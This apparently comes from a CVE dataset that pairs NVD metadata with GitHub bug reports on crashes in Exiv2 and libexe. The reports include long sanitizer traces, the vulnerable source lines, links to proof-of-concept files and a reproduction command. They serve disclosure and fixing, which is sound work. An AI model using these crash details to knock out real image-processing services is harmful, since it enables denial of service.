#150 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#151 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#152 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#153 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#154 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#155 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#156 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#157 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#158 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#159 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#160 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#161 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#162 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#163 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#164 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#165 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#166 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#167 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#168 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#169 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#170 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#171 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#172 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#173 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#174 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#175 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#176 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#177 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#178 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#179 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#180 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#181 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#182 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#183 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#184 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#185 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#186 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#187 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#188 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#189 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#190 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#191 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#192 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#193 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#194 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#195 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#196 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#197 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#198 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#199 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#200 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#201 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#202 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#203 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#204 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#205 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#206 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#207 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#208 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#209 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#210 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#211 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#212 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#213 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#214 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#215 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#216 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#217 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#218 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#219 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#220 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#221 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#222 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#223 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#224 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#225 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#226 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#227 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#228 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#229 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#230 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#231 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#232 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#233 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#234 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#235 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#236 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#237 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#238 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#239 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#240 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#241 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#242 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#243 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#244 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#245 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#246 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#247 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#248 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#249 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#250 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#251 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
SUMMARY: AddressSanitizer: stack-overflow (/exiv2/build/bin/exiv2+0x4d6c3e) in __sanitizer::mem_is_zero(char const*, unsigned long)
==621==ABORTING
```
| [bug report] Stack Exhaustion Caused By Exiv2::Image::printIFDStructure function in image.cpp, making Recursive Calls to Itself | https://api.github.com/repos/Exiv2/exiv2/issues/741/comments | 1 | 2019-03-13T08:57:11Z | 2019-03-13T09:23:54Z | https://github.com/Exiv2/exiv2/issues/741 | 420,383,139 | 741 | 2,351 |
CVE-2020-18899 | 2021-08-19T22:15:07.333 | An uncontrolled memory allocation in DataBufdata(subBox.length-sizeof(box)) function of Exiv2 0.27 allows attackers to cause a denial of service (DOS) via a crafted input. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Technical Description"
],
"url": "https://cwe.mitre.org/data/definitions/789.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/Exiv2/exiv2/issues/742"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://security.gentoo.org/glsa/202312-06"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Technical Description"
],
"url": "https://cwe.mitre.org/data/definitions/789.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/Exiv2/exiv2/issues/742"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://security.gentoo.org/glsa/202312-06"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:exiv2:exiv2:0.27:-:*:*:*:*:*:*",
"matchCriteriaId": "1CA51C92-5FB1-4E09-857A-7760A31D3148",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"770"
] | 770 | https://github.com/Exiv2/exiv2/issues/742 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Exiv2",
"exiv2"
] | Hi there,
An issue was discovered in DataBuf data(subBox.length-sizeof(box)) function in image.cpp, as distributed in master and version 0.27. There is an uncontrolled memory allocation problem, leading to a program crash. I have also confirmed this issue by using addressSanitizer.
Here is the POC file. Please use the “./exiv2 -pX $POC” to reproduce the bug.
[POC.zip](https://github.com/Exiv2/exiv2/files/2961347/POC.zip)
```
subBox.length = getLong((byte*)&subBox.length, bigEndian);
subBox.type = getLong((byte*)&subBox.type, bigEndian);
// subBox.length makes no sense if it is larger than the rest of the file
if (subBox.length > io_->size() - io_->tell()) {
throw Error(kerCorruptedMetadata);
}
DataBuf data(subBox.length-sizeof(box));
io_->read(data.pData_,data.size_);
```
The ASAN dumps the stack trace as follows:
```
==9819==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes
=================================================================
==9819==ERROR: AddressSanitizer: unknown-crash on address 0xffffffffffffffff at pc 0x0000004a9325 bp 0x7fffe470cec0 sp 0x7fffe470c670
WRITE of size 18446744073709551615 at 0xffffffffffffffff thread T0
#0 0x4a9324 in __asan_memset (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4a9324)
#1 0x7f3986594f9c in Exiv2::DataBuf::DataBuf(long) /home/wencheng/Documents/FuzzingObject/exiv2/src/types.cpp:141:42
#2 0x7f39864b354c in Exiv2::Jp2Image::printStructure(std::ostream&, Exiv2::PrintStructureOption, int) /home/wencheng/Documents/FuzzingObject/exiv2/src/jp2image.cpp:506:37
#3 0x53fa0d in (anonymous namespace)::printStructure(std::ostream&, Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:2368:9
#4 0x5400f2 in Action::setModeAndPrintStructure(Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:237:16
#5 0x5400f2 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:256
#6 0x4f42f5 in main /home/wencheng/Documents/FuzzingObject/exiv2/src/exiv2.cpp:172:23
#7 0x7f3984e1982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#8 0x41f0a8 in _start (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x41f0a8)
==9819==AddressSanitizer CHECK failed: /build/llvm-toolchain-3.8-_PD09B/llvm-toolchain-3.8-3.8/projects/compiler-rt/lib/asan/asan_report.cc:354 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
#0 0x4c87dd in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4c87dd)
#1 0x4cf403 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4cf403)
#2 0x4c3f9b in __asan::DescribeAddress(unsigned long, unsigned long, char const*) (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4c3f9b)
#3 0x4c4480 in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) [clone .part.18] (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4c4480)
#4 0x4a9346 in __asan_memset (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4a9346)
#5 0x7f3986594f9c in Exiv2::DataBuf::DataBuf(long) /home/wencheng/Documents/FuzzingObject/exiv2/src/types.cpp:141:42
#6 0x7f39864b354c in Exiv2::Jp2Image::printStructure(std::ostream&, Exiv2::PrintStructureOption, int) /home/wencheng/Documents/FuzzingObject/exiv2/src/jp2image.cpp:506:37
#7 0x53fa0d in (anonymous namespace)::printStructure(std::ostream&, Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:2368:9
#8 0x5400f2 in Action::setModeAndPrintStructure(Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:237:16
#9 0x5400f2 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:256
#10 0x4f42f5 in main /home/wencheng/Documents/FuzzingObject/exiv2/src/exiv2.cpp:172:23
#11 0x7f3984e1982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x41f0a8 in _start (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x41f0a8)
```
| [bug report] Program crash due to uncontrolled memory allocation on function DataBuf data(subBox.length-sizeof(box)) | https://api.github.com/repos/Exiv2/exiv2/issues/742/comments | 3 | 2019-03-13T12:11:16Z | 2019-03-31T09:57:54Z | https://github.com/Exiv2/exiv2/issues/742 | 420,466,480 | 742 | 2,352 |
CVE-2020-18900 | 2021-08-19T22:15:07.373 | A heap-based buffer overflow in the libexe_io_handle_read_coff_optional_header function of libyal libexe before 20181128. NOTE: the vendor has disputed this as described in libyal/libexe issue 1 on GitHub | {
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"availabilityImpact": "PARTIAL",
"baseScore": 1.9,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:L/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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] | 787 | https://github.com/libyal/libexe/issues/1 | [
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"Issue Tracking",
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] | github.com | [
"libyal",
"libexe"
] | **Multiple heap-buffer-overflow errors inside function libexe_io_handle_read_coff_optional_header in libexe_io_handle.c**
We found with our fuzzer multiple heap-buffer-overflow errors inside function libexe_io_handle_read_coff_optional_header. The version we use is "exeinfo 20180812".
These can be triggered when compiled with address sanitizer and run with exe file.
**Here is the POC files:**
